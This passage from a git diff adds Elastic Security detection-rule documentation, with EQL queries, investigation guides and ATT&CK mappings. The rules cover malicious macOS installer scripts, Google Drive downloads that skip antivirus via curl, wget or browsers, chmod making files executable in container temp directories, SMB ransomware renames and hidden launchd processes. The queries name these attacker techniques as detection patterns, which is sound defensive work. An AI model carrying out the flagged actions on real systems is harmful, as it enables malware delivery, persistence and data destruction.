revoked installer packages. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.entity_id with maxspan=30s + [process where host.os.type == "macos" and event.type == "start" and process.name in ("bash", "sh", "zsh") and + process.args like~ ("/tmp/PKInstallSandbox.*/Scripts/com.*/preinstall", + "/tmp/PKInstallSandbox.*/Scripts/*/postinstall") and + process.args like ("/Users/*", "/Volumes/*") and + not process.args like~ "/Users/*/Library/Caches/*"] + [file where host.os.type == "macos" and event.action != "deletion" and process.name in ("mv", "cp") and + (file.extension in ("py", "js", "sh", "scpt", "terminal", "tcl", "app", "pkg", "dmg", "command") or + file.Ext.header_bytes like~ ("cffaedfe*", "cafebabe*")) and + file.path like ("/private/etc/*", "/var/tmp/*", "/tmp/*", "/var/folders/*", "/Users/Shared/*", + "/Library/Graphics/*", "/Library/Containers/*", "/Users/*/Library/Containers/*", + "/Users/*/Library/Services/*", "/Users/*/Library/Preferences/*", "/var/root/*", + "/Library/WebServer/*", "/Library/Fonts/*", "/usr/local/bin/*") and + not file.name == "CodeResources"] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Installer Packages +** ID: T1546.016 +** Reference URL: https://attack.mitre.org/techniques/T1546/016/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-file-downloaded-from-google-drive.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-file-downloaded-from-google-drive.asciidoc new file mode 100644 index 0000000000..3d62004362 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-file-downloaded-from-google-drive.asciidoc @@ -0,0 +1,141 @@ +[[prebuilt-rule-8-19-34-suspicious-file-downloaded-from-google-drive]] +=== Suspicious File Downloaded from Google Drive + +Identifies suspicious file download activity from a Google Drive URL. This could indicate an attempt to deliver phishing payloads via a trusted webservice. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* logs-endpoint* +* logs-system.security* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://intelligence.abnormalsecurity.com/blog/google-drive-matanbuchus-malware + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: Windows +* OS: macOS +* Use Case: Threat Detection +* Tactic: Command and Control +* Data Source: Windows Security Event Logs +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Platform: Linux +* Platform: macOS + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious File Downloaded from Google Drive* + + +Google Drive is a widely-used cloud storage service that allows users to store and share files. Adversaries may exploit its trusted nature to distribute malicious files, bypassing security measures by using download links with antivirus checks disabled. The detection rule identifies such activities by monitoring browser processes for specific Google Drive download patterns, flagging potential threats for further investigation. + + +*Possible investigation steps* + + +- Review the process command line details to confirm the presence of the Google Drive download URL with the "export=download" and "confirm=no_antivirus" parameters, which indicate an attempt to bypass antivirus checks. +- Identify the user account associated with the process to determine if the activity aligns with their typical behavior or if it appears suspicious. +- Check the file downloaded from the Google Drive URL for any known malicious signatures or behaviors using a reputable antivirus or malware analysis tool. +- Investigate the source of the download link to determine if it was shared via email, messaging, or another communication channel, and assess the legitimacy of the source. +- Analyze network logs to identify any additional suspicious activity or connections related to the IP address or domain associated with the download. +- Review historical data for any previous similar alerts or activities involving the same user or device to identify potential patterns or repeated attempts. + + +*False positive analysis* + + +- Legitimate file sharing activities from Google Drive may trigger alerts if users frequently download files for business purposes. To manage this, create exceptions for specific users or departments known to use Google Drive extensively for legitimate work. +- Automated scripts or tools that download files from Google Drive for regular data processing tasks might be flagged. Identify these scripts and whitelist their associated processes or command lines to prevent unnecessary alerts. +- Educational institutions or research organizations often share large datasets via Google Drive, which could be mistakenly flagged. Implement exceptions for known educational or research-related Google Drive URLs to reduce false positives. +- Internal IT or security teams may use Google Drive to distribute software updates or patches. Recognize these activities and exclude them by specifying trusted internal Google Drive links or user accounts. +- Collaboration with external partners who use Google Drive for file sharing can lead to false positives. Establish a list of trusted partners and their associated Google Drive URLs to minimize unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further spread of potential malware or unauthorized access. +- Quarantine the downloaded file and perform a detailed malware analysis using a sandbox environment to determine its behavior and potential impact. +- If malware is confirmed, initiate a full system scan using updated antivirus and anti-malware tools to identify and remove any additional threats. +- Review and analyze the process command line logs to identify any other suspicious activities or downloads that may have occurred concurrently. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are compromised. +- Implement network-level blocking of the specific Google Drive URL or domain if it is confirmed to be malicious, to prevent future access. +- Update endpoint detection and response (EDR) systems with indicators of compromise (IOCs) identified during the analysis to enhance detection of similar threats in the future. + +==== Rule query + + +[source, js] +---------------------------------- +process where + + /* common browser processes */ + event.action in ("exec", "fork", "start") and + + process.name : ("Microsoft Edge", "chrome.exe", "Google Chrome", "google-chrome-stable", + "google-chrome-beta", "google-chrome", "msedge.exe", "firefox.exe", "brave.exe", + "whale.exe", "browser.exe", "dragon.exe", "vivaldi.exe", "opera.exe", "firefox", + "powershell.exe", "curl", "curl.exe", "wget", "wget.exe") and + + /* Look for Google Drive download URL with AV flag skipping */ + (process.command_line : "*drive.google.com*" and process.command_line : "*export=download*" and process.command_line : "*confirm=no_antivirus*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Web Service +** ID: T1102 +** Reference URL: https://attack.mitre.org/techniques/T1102/ +* Sub-technique: +** Name: One-Way Communication +** ID: T1102.003 +** Reference URL: https://attack.mitre.org/techniques/T1102/003/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-file-made-executable-via-chmod-inside-a-container.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-file-made-executable-via-chmod-inside-a-container.asciidoc new file mode 100644 index 0000000000..8bbe5ff3f9 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-file-made-executable-via-chmod-inside-a-container.asciidoc @@ -0,0 +1,187 @@ +[[prebuilt-rule-8-19-34-suspicious-file-made-executable-via-chmod-inside-a-container]] +=== Suspicious File Made Executable via Chmod Inside A Container + +This rule detects when chmod or chown are used to add the execute permission to a file in a world-writeable directory, and inside of a container. Modifying file permissions to make a file executable could indicate malicious activity, as an attacker may attempt to run unauthorized or malicious code inside the container. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Containers +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux +* Domain: Endpoint + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious File Made Executable via Chmod Inside A Container* + + +Containers provide isolated environments for running applications, often on Linux systems. The `chmod` command is used to change file permissions, including making files executable. Adversaries may exploit this by altering permissions to execute unauthorized scripts or binaries, potentially leading to malicious activity. The detection rule identifies such actions by monitoring for `chmod` usage that grants execute permissions, focusing on specific permission patterns, and excluding benign cases. This helps in identifying potential threats where attackers attempt to execute unauthorized code within containers. + + +*Possible investigation steps* + + +- Examine the process arguments to determine the exact permissions that were set and identify the file that was made executable. +- Investigate the origin of the `chmod` command by reviewing the process tree to understand which parent process initiated it and whether it aligns with expected behavior. +- Check the user account or service account that executed the `chmod` command to assess if it has legitimate access and reason to modify file permissions. +- Analyze the file that was made executable to determine its contents and origin, checking for any signs of unauthorized or malicious code. +- Correlate this event with other logs or alerts from the same container to identify any patterns or additional suspicious activities that might indicate a broader attack. + + +*False positive analysis* + + +- Routine maintenance scripts or automated processes may use chmod to set execute permissions on files within containers. To handle these, identify and whitelist specific scripts or processes that are known to be safe and necessary for operations. +- Development environments often involve frequent changes to file permissions as developers test and deploy code. Consider excluding specific container IDs or paths associated with development environments to reduce noise. +- Some container orchestration tools might use chmod as part of their normal operation. Review the processes and arguments associated with these tools and create exceptions for known benign activities. +- System updates or package installations within containers might trigger this rule. Monitor and document regular update schedules and processes, and exclude these from triggering alerts if they are verified as non-threatening. +- If certain users or roles are responsible for legitimate permission changes, consider excluding their activities by user ID or role, ensuring that these exclusions are well-documented and reviewed regularly. + + +*Response and remediation* + + +- Immediately isolate the affected container to prevent further execution of unauthorized code. This can be done by stopping the container or disconnecting it from the network. +- Conduct a thorough review of the container's file system to identify any unauthorized or suspicious files that have been made executable. Remove or quarantine these files as necessary. +- Analyze the container's logs to trace the source of the `chmod` command and determine if there are any other indicators of compromise or related malicious activities. +- If the unauthorized execution is confirmed, assess the potential impact on the host system and other containers. Implement additional security measures, such as enhanced monitoring or network segmentation, to protect other assets. +- Escalate the incident to the security operations team for further investigation and to determine if the threat is part of a larger attack campaign. +- Review and update container security policies to prevent unauthorized permission changes, such as implementing stricter access controls and using security tools that enforce policy compliance. +- Enhance detection capabilities by configuring alerts for similar suspicious activities, ensuring that any future attempts to modify file permissions within containers are promptly identified and addressed. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. + +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and +process.entry_leader.entry_meta.type == "container" and process.name in ("chmod", "chown") and +process.args in ("4755", "755", "000", "777", "444", "+x") and +process.args like ("/dev/shm/*", "/tmp/*", "/var/tmp/*", "/run/*", "/var/run/*", "/mnt/*", "/media/*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: File and Directory Permissions Modification +** ID: T1222 +** Reference URL: https://attack.mitre.org/techniques/T1222/ +* Sub-technique: +** Name: Linux and Mac File and Directory Permissions Modification +** ID: T1222.002 +** Reference URL: https://attack.mitre.org/techniques/T1222/002/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Setuid and Setgid +** ID: T1548.001 +** Reference URL: https://attack.mitre.org/techniques/T1548/001/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Setuid and Setgid +** ID: T1548.001 +** Reference URL: https://attack.mitre.org/techniques/T1548/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-file-renamed-via-smb.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-file-renamed-via-smb.asciidoc new file mode 100644 index 0000000000..baedf3a741 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-file-renamed-via-smb.asciidoc @@ -0,0 +1,162 @@ +[[prebuilt-rule-8-19-34-suspicious-file-renamed-via-smb]] +=== Suspicious File Renamed via SMB + +Identifies suspicious file rename operation by the virtual System process. This may indicate a remote ransomware attack via the SMB protocol. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://news.sophos.com/en-us/2023/12/21/akira-again-the-ransomware-that-keeps-on-taking/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Impact +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Ransomware +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious File Renamed via SMB* + + +*Possible investigation steps* + + +- What do the Timeline member events show for the SMB-to-rename sequence? + - Focus: use `host.id` as target context; open Investigate in Timeline to recover accepted SMB `source.ip`, rename-event `user.id`, and representative renamed `file.path`. + - Implication: escalate on one remote SMB source followed by repeated high-entropy user-file renames; lower concern only when member events show one bounded remote file-management job with stable source, account, path, and extension mapping. Missing member events are unresolved, not benign. +- Does the recovered source/account pair fit a recognized remote file-management workflow? + - Focus: recovered `source.ip`, `user.id`, `user.name`, and `user.domain`. + - Implication: escalate when a rare source or privileged account remotely renames user data; lower concern when the same source/account pair recurs as a backup, migration, DLP, or conversion actor for this exact share. +- Do rename artifacts look like encryption instead of content conversion? + - Focus: same target host, SMB-server context, alert window, and recovered `user.id`: `file.Ext.original.extension`, `file.extension`, `file.Ext.entropy`, and `file.size`. + - Implication: escalate when common documents or images move to one unfamiliar high-entropy extension family across many paths; lower concern when before/after extensions and file sizes match a recognized converter, archive, or quarantine workflow. +- How far did the rename burst spread on the target host? + - Focus: file rename events from the same target host, SMB-server context, recovered `user.id`, and surrounding window; compare `file.path` roots and `file.Ext.original.extension` families. + - Implication: escalate when the burst crosses user profiles, share roots, or document families; lower urgency when it stays a short bounded task in one managed folder with stable extension mapping. +- Did the target receive ransom-note or payload files around the rename burst? + - Why: SMB ransomware may run from the remote source while leaving note or helper files on the target share, making target-side file artifacts decisive corroboration. + - Focus: file events on the same `host.id` around the rename window: repeated `file.name`, `file.path`, or `file.extension` patterns for note-like files, scripts, or executables. !{investigate{"description":"","label":"Recent file activity on this host","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when repeated note-like names or executable/script drops appear in impacted paths; lower concern when file activity stays limited to the explained rename workflow. +- Did recovery inhibition or destructive behavior align with the rename burst? + - Focus: related alerts on the same `host.id` around the rename window naming recovery inhibition, destructive file activity, or ransomware notes. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: escalate and prioritize containment when these alerts align; absence reduces urgency only after source/account and rename evidence fit one exact workflow. +- If local findings remain suspicious or unresolved, does the same SMB source or account drive similar renames elsewhere? + - Focus: across hosts, look for the same recovered `source.ip` or `user.id` paired with inbound SMB accept events and high-entropy rename bursts using the suspicious `file.extension`. + - Implication: broaden containment when the same source or account drives similar user-file rename bursts on other hosts; keep scope local only when this pivot is quiet and local evidence is otherwise resolved. +- Escalate when SMB source/account, rename shape, target breadth, note/payload artifacts, recovery-inhibition alerts, or cross-host spread show remote encryption or destructive file handling over SMB. Close only when recovered telemetry binds one exact backup, migration, DLP, or conversion job on this host, with owner or change records as corroboration only. Preserve evidence and escalate when telemetry is mixed, incomplete, or contradicted. + + +*False positive analysis* + + +- Backup, migration, DLP quarantine, or document-conversion tooling can rename many files over SMB. Confirm that recovered `source.ip`, `user.id`, managed `file.path` scope, extension mapping, and absence of note/payload or recovery-inhibition evidence all support the same workflow on this host. Use owner confirmation or change records only as corroboration; if unavailable, close only when recovered events independently bind one exact workflow. +- Treat recurrence of the same source/account, folder scope, and extension mapping across prior alerts as candidate tuning evidence, not a standalone benign verdict. Build exceptions from the narrowest stable pattern: recovered `source.ip`, `user.id`, managed `file.path` scope, host cohort, and extension mapping. Do not except on SMB activity, `process.pid` 4, high entropy, rename volume, or one extension alone. + + +*Response and remediation* + + +- If confirmed benign, reverse temporary containment and document the source host, account, managed folder scope, and extension mapping that explained the rename burst. Create an exception only after the same bounded pattern recurs. +- If suspicious but unconfirmed, preserve a Timeline export of the sequence member events, representative renamed files, any note or payload files, recovered SMB source/account details, and related alert IDs before containment that could alter evidence. +- Apply reversible containment first: block SMB from the recovered source, suspend the recovered account session, or temporarily restrict write access to the impacted share. Isolate the source or target host only when active renaming or destructive corroborators show ongoing ransomware activity. +- If confirmed malicious, isolate the source and impacted target or file server when the environment can tolerate it, disable and reset the recovered account, and stop active SMB sessions only after recording the source, account, renamed-file set, notes or payloads, and destructive alerts. +- Review other hosts for the same `source.ip`, `user.id`, suspicious extension, or note pattern before restoration so the full ransomware scope is understood. +- Restore renamed or encrypted files only from trusted backups or replicas after scope is complete, and verify backup repositories were not touched by the same source or account. +- Post-incident hardening: restrict remote SMB write paths and administrative shares, require MFA or equivalent controls for remote access and high-privilege accounts, protect backup credentials, and retain file and network telemetry needed to recover future SMB rename sequences. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id, file.extension with maxspan=1s + [file where host.os.type == "windows" and + event.action == "rename" and process.pid == 4 and user.id : ("S-1-5-21*", "S-1-12-*") and + file.extension != null and file.Ext.entropy >= 6 and file.path : "C:\\Users\\*" and + file.Ext.original.name : ("*.jpg", "*.bmp", "*.png", "*.pdf", "*.doc", "*.docx", "*.xls", "*.xlsx", "*.ppt", "*.pptx", "*.lnk") and + not file.extension : ("jpg", "bmp", "png", "pdf", "doc", "docx", "xls", "xlsx", "ppt", "pptx", "lnk")] with runs=3 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ +* Technique: +** Name: Data Encrypted for Impact +** ID: T1486 +** Reference URL: https://attack.mitre.org/techniques/T1486/ +* Technique: +** Name: Inhibit System Recovery +** ID: T1490 +** Reference URL: https://attack.mitre.org/techniques/T1490/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: SMB/Windows Admin Shares +** ID: T1021.002 +** Reference URL: https://attack.mitre.org/techniques/T1021/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-hidden-child-process-of-launchd.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-hidden-child-process-of-launchd.asciidoc new file mode 100644 index 0000000000..2b5cb80055 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-hidden-child-process-of-launchd.asciidoc @@ -0,0 +1,176 @@ +[[prebuilt-rule-8-19-34-suspicious-hidden-child-process-of-launchd]] +=== Suspicious Hidden Child Process of Launchd + +Identifies the execution of a launchd child process with a hidden file. An adversary can establish persistence by installing a new logon item, launch agent, or daemon that executes upon login. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://objective-see.com/blog/blog_0x61.html +* https://www.intezer.com/blog/research/operation-electrorat-attacker-creates-fake-companies-to-drain-your-crypto-wallets/ +* https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 112 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Hidden Child Process of Launchd* + + +Launchd is a key macOS system process responsible for managing system and user services. Adversaries may exploit it by creating hidden child processes to maintain persistence or evade defenses. The detection rule identifies unusual child processes of launchd, focusing on hidden files, which are often indicative of malicious activity. By monitoring process initiation events, it helps uncover potential threats linked to persistence and defense evasion tactics. + + +*Possible investigation steps* + + +- Review the process details to identify the hidden child process, focusing on the process.name field to determine if it matches known malicious patterns or unusual names. +- Examine the process.parent.executable field to confirm that the parent process is indeed /sbin/launchd, ensuring the alert is not a false positive. +- Investigate the file path and attributes of the hidden file associated with the child process to determine its origin and legitimacy. +- Check the user account associated with the process initiation event to assess if it aligns with expected user behavior or if it indicates potential compromise. +- Correlate the event with other recent process initiation events on the same host to identify any patterns or additional suspicious activities. +- Review system logs and other security alerts for the host to gather more context on the potential threat and assess the scope of the activity. + + +*False positive analysis* + + +- System updates or legitimate software installations may trigger hidden child processes of launchd. Users can create exceptions for known update processes or trusted software installations to prevent unnecessary alerts. +- Some legitimate applications may use hidden files for configuration or temporary data storage, which could be misidentified as suspicious. Users should identify these applications and whitelist their processes to reduce false positives. +- Development tools or scripts that run as background processes might appear as hidden child processes. Developers can exclude these tools by specifying their process names or paths in the detection rule exceptions. +- Automated backup or synchronization services might create hidden files as part of their normal operation. Users should verify these services and add them to an exclusion list if they are deemed safe. +- Custom scripts or automation tasks scheduled to run at login could be flagged. Users should review these scripts and, if legitimate, configure the rule to ignore these specific processes. + + +*Response and remediation* + + +- Isolate the affected macOS system from the network to prevent further spread or communication with potential command and control servers. +- Terminate the suspicious hidden child process of launchd to stop any ongoing malicious activity. +- Conduct a thorough review of all launch agents, daemons, and logon items on the affected system to identify and remove any unauthorized or malicious entries. +- Restore the system from a known good backup if available, ensuring that the backup predates the initial compromise. +- Update the macOS system and all installed applications to the latest versions to patch any vulnerabilities that may have been exploited. +- Monitor the system for any signs of re-infection or further suspicious activity, focusing on process initiation events and hidden files. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems may be affected. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "macos" and event.type in ("start", "process_started") and + process.name like~ ".*" and process.parent.name == "launchd" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Launch Agent +** ID: T1543.001 +** Reference URL: https://attack.mitre.org/techniques/T1543/001/ +* Sub-technique: +** Name: Launch Daemon +** ID: T1543.004 +** Reference URL: https://attack.mitre.org/techniques/T1543/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Hide Artifacts +** ID: T1564 +** Reference URL: https://attack.mitre.org/techniques/T1564/ +* Sub-technique: +** Name: Hidden Files and Directories +** ID: T1564.001 +** Reference URL: https://attack.mitre.org/techniques/T1564/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-html-file-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-html-file-creation.asciidoc new file mode 100644 index 0000000000..f5a3262281 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-html-file-creation.asciidoc @@ -0,0 +1,191 @@ +[[prebuilt-rule-8-19-34-suspicious-html-file-creation]] +=== Suspicious HTML File Creation + +Identifies the execution of a browser process to open an HTML file with high entropy and size. Adversaries may smuggle data and files past content filters by hiding malicious payloads inside of seemingly benign HTML files. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* logs-endpoint.events.file-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Initial Access +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 114 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> 